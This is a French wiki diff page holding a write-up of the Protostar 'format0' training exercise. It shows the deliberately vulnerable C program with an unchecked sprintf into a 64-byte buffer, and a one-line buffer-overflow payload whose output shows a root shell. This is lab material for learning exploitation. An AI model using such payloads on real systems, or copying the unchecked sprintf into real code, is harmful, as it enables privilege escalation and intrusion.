Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:format0

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

exploit_exercises_protostar:format0 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 +====== Format 0 ======
  
 +<code C>
 +#include <stdlib.h>
 +#include <unistd.h>
 +#include <stdio.h>
 +#include <string.h>
 +
 +void vuln(char *string)
 +{
 + volatile int target;
 + char buffer[64];
 +
 + target = 0;
 +
 + sprintf(buffer, string);
 +
 + if(target == 0xdeadbeef) {
 + printf("you have hit the target correctly :)\n");
 + }
 +}
 +
 +int main(int argc, char **argv)
 +{
 + vuln(argv[1]);
 +}
 +</code>
 +
 +On remarque facilement la format string au niveau du printf. On remarque aussi que le programme copie une chaine dont il ne vérifie pas la taille dans un buffer de 64 bytes. On a donc un programme qui présente une format string ainsi qu'un buffer overflow.
 +On choisis le buffer overflow, c'est bien moins chiant ;)
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "A"*80+"\x6b\xfd\xff\xbf"')
 +bash-4.1# id
 +uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
 +</code>
exploit_exercises_protostar/format0.txt · Dernière modification: 2017/04/09 15:33 (modification externe)